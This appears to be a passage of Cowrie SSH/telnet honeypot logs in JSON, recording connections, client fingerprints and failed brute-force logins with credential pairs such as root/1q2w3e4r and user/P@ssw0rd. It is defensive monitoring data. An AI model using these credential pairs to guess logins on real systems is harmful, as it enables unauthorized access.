-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:43.414861Z","src_ip":"189.203.163.10","session":"1a8e59c5478d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres2024","message":"login attempt [postgres/postgres2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:43.697816Z","src_ip":"189.203.163.10","session":"1a8e59c5478d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:44.763522Z","src_ip":"189.203.163.10","session":"1a8e59c5478d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":34766,"dst_ip":"159.203.135.109","dst_port":22,"session":"e94689b0c027","protocol":"ssh","message":"New connection: 160.187.174.22:34766 (159.203.135.109:22) [session: e94689b0c027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:45.743553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:45.747762Z","src_ip":"160.187.174.22","session":"e94689b0c027","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:46.002386Z","src_ip":"160.187.174.22","session":"e94689b0c027","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:46.741686Z","src_ip":"160.187.174.22","session":"e94689b0c027","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40704,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6b742220e32","protocol":"telnet","message":"New connection: 170.64.224.25:40704 (159.203.135.109:23) [session: d6b742220e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:47.445147Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:47.986267Z","src_ip":"160.187.174.22","session":"e94689b0c027","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.08956694602966,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:52.183199Z","src_ip":"170.64.224.25","session":"13fb1cd3a950","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":45822,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc24f01b4429","protocol":"ssh","message":"New connection: 160.187.174.22:45822 (159.203.135.109:22) [session: cc24f01b4429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:12.314920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:12.321313Z","src_ip":"160.187.174.22","session":"cc24f01b4429","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:12.562027Z","src_ip":"160.187.174.22","session":"cc24f01b4429","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:13.525770Z","src_ip":"160.187.174.22","session":"cc24f01b4429","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:14.777610Z","src_ip":"160.187.174.22","session":"cc24f01b4429","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.249.8","src_port":55992,"dst_ip":"10.17.0.5","dst_port":22,"session":"16b49c3b2b08","protocol":"ssh","message":"New connection: 162.144.249.8:55992 (10.17.0.5:22) [session: 16b49c3b2b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:23.632679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:23.636702Z","src_ip":"162.144.249.8","session":"16b49c3b2b08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:23.666490Z","src_ip":"162.144.249.8","session":"16b49c3b2b08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loopring789","message":"login attempt [root/loopring789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:23.750918Z","src_ip":"162.144.249.8","session":"16b49c3b2b08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:24.781205Z","src_ip":"162.144.249.8","session":"16b49c3b2b08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.229.220.180","src_port":40458,"dst_ip":"10.17.0.5","dst_port":22,"session":"09f14adbf6d2","protocol":"ssh","message":"New connection: 221.229.220.180:40458 (10.17.0.5:22) [session: 09f14adbf6d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:24.801928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:24.806168Z","src_ip":"221.229.220.180","session":"09f14adbf6d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:25.044408Z","src_ip":"221.229.220.180","session":"09f14adbf6d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"1111","message":"login attempt [daniel/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:27.148941Z","src_ip":"221.229.220.180","session":"09f14adbf6d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.19616675376892,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:36.641168Z","src_ip":"170.64.224.25","session":"d6b742220e32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":44654,"dst_ip":"159.203.135.109","dst_port":22,"session":"98230aaa4b67","protocol":"ssh","message":"New connection: 160.187.174.22:44654 (159.203.135.109:22) [session: 98230aaa4b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:37.752520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:37.757510Z","src_ip":"160.187.174.22","session":"98230aaa4b67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:37.998678Z","src_ip":"160.187.174.22","session":"98230aaa4b67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:38.733555Z","src_ip":"160.187.174.22","session":"98230aaa4b67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":39312,"dst_ip":"10.17.0.5","dst_port":22,"session":"c12495bcd78c","protocol":"ssh","message":"New connection: 91.92.40.4:39312 (10.17.0.5:22) [session: c12495bcd78c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:39.053498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:39.070430Z","src_ip":"91.92.40.4","session":"c12495bcd78c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:39.219805Z","src_ip":"91.92.40.4","session":"c12495bcd78c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"P@ssw0rd","message":"login attempt [user/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:39.468055Z","src_ip":"91.92.40.4","session":"c12495bcd78c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:39.979067Z","src_ip":"160.187.174.22","session":"98230aaa4b67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:16:40.551085Z","src_ip":"91.92.40.4","session":"c12495bcd78c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":47858,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f4001027c77","protocol":"ssh","message":"New connection: 160.187.174.22:47858 (159.203.135.109:22) [session: 2f4001027c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:03.987549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:04.094240Z","src_ip":"160.187.174.22","session":"2f4001027c77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:04.229041Z","src_ip":"160.187.174.22","session":"2f4001027c77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:05.164919Z","src_ip":"160.187.174.22","session":"2f4001027c77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:06.404059Z","src_ip":"160.187.174.22","session":"2f4001027c77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":42858,"dst_ip":"159.203.135.109","dst_port":22,"session":"287222fa0923","protocol":"ssh","message":"New connection: 193.37.70.224:42858 (159.203.135.109:22) [session: 287222fa0923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:19.971213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:19.975222Z","src_ip":"193.37.70.224","session":"287222fa0923","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:20.062552Z","src_ip":"193.37.70.224","session":"287222fa0923","protocol":"ssh"}
